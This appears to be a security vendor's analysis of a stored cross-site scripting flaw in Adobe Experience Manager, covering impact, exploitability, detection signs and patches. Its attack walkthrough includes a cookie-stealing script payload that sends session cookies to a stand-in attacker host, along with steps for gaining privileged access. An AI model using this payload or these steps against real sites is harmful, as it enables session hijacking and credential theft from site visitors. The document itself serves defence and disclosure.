CVE-2025-46884: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46884 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a high-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premise) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available the same day. It carries a CVSS v3.1 base score of 4.8 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. An attacker with high privileges can inject malicious JavaScript payloads into form fields within AEM; these scripts are stored server-side and subsequently executed in the browsers of other users who visit the affected page. Exploitation requires network access, low attack complexity, and user interaction from a victim browsing the compromised page, with the scope of impact extending beyond the vulnerable component (Adobe Advisory).

Successful exploitation could allow an attacker to execute arbitrary JavaScript in a victim's browser, potentially leading to session cookie theft, credential harvesting, unauthorized actions performed on behalf of the victim, and integrity compromise of web pages served by the AEM instance. While confidentiality and integrity impacts are rated as low and availability is unaffected, the cross-site nature of the vulnerability means that end users — not just administrators — are at risk when browsing pages containing the injected content (Adobe Advisory).

There is currently no public proof-of-concept exploit code and no evidence of in-the-wild exploitation for CVE-2025-46884. The EPSS score is approximately 0.064%, reflecting a low probability of exploitation in the near term. No threat actor attribution has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires high privileges within the AEM environment, which further limits the practical attack surface (Adobe Advisory).

1. Gain High-Privileged Access: Obtain administrative or high-privileged credentials to the target Adobe Experience Manager instance, either through phishing, credential stuffing, or insider access.
2. Identify Vulnerable Form Fields: Navigate the AEM authoring interface to locate form fields that do not properly sanitize input — such as text areas, title fields, or custom component properties.
3. Inject Malicious Payload: Enter a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save or publish the content.
4. Wait for Victim Interaction: The malicious script is now persisted in the AEM content repository. When any user (including lower-privileged users or site visitors) browses to the page containing the injected field, the script executes in their browser.
5. Harvest Results: Collect stolen session tokens, credentials, or other sensitive data exfiltrated to the attacker-controlled server, enabling session hijacking or further account compromise (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /libs/, /apps/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=) in request bodies.
• File System / Content Repository: Unexpected JavaScript payloads stored within JCR (Java Content Repository) nodes, particularly in text properties of page components or form field definitions.
• Network: Outbound HTTP/S requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; unusual DNS queries to attacker-controlled domains originating from end-user workstations.
• Browser / Application: Unexpected redirects or pop-ups experienced by users browsing AEM-published pages; reports of session invalidation or unauthorized account activity following page visits.

Adobe has released patches addressing this vulnerability: upgrade to AEM 6.5.23.0 or later for on-premise deployments, or ensure AEM Cloud Service is updated to version 2025.5.0 or later. As interim measures, administrators should limit high-privileged access to the AEM authoring environment, implement strict input validation and output encoding for all form fields, and audit existing content for injected scripts. Monitoring for suspicious script executions and unusual outbound connections from AEM-hosted pages is also recommended (Adobe Advisory).

The vulnerability was noted in a CIS advisory covering multiple Adobe product vulnerabilities published around the same time, flagging the broader set of AEM issues for enterprise security teams (CIS Advisory). No significant independent researcher commentary, social media discussion, or media coverage specific to CVE-2025-46884 has been identified beyond standard vulnerability database entries.
